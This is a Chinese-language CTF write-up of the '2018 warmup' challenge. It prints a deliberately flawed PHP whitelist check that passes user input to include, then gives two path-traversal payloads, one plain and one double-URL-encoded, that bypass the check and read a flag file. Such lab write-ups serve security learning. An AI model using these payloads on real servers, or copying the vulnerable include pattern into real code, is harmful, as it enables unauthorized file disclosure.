2018 warmup
进入题目一张滑稽脸查看源代码发现source.php
之后我们访问source.php发现源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
我们先来看那个if判断,如果通过get或request方式传进一个file且传的值必须为非空值我们就到类中去做判断,如果类中返回一个TRUE那么就能执行下面的文件包含指令,否则就输出一张滑稽的图片。然后我们再返回上面到类中去看,if中调用的是类中checkFile这个方法,我们到这个方法中去看,首先设置了一个白名单内容为source.php和hint.php,如果$page这个变量已经设置且为字符串那就判断这个page的内容是否在白名单内,如果在就返回True,然后对第一个问号的位置进行截断,判断问号前的内容是否在白名单内,如果在也返回True,到这里位置其实第一种解法已经出来了,我们先去看看白名单中source.php中的内容是什么
tips:include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
那么我们的思路应该就清晰了,我们应该通过构造payload包含进这个文件,首先我们先要传给file一个值并且这个值在白名单内,然后再拼接一个问号用来截断,然后通过文件包含将flag读出
payload
?file=hint.php?../../../../../../ffffllllaaaagggg
这样我们就成功获得flag
第二种方法我们重点来看这段代码
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
这段代码首先将传进来的那个file的值进行urldecode解码,然后对第一个问号处进行截断,判断问号之前的内容是否在白名单内如果在就返回True,我们可以通过对?进行url两次编码然后再进行传参
payload如下
?file=hint.php%253F../../../../../../ffffllllaaaagggg
这样我们同样可以获得flag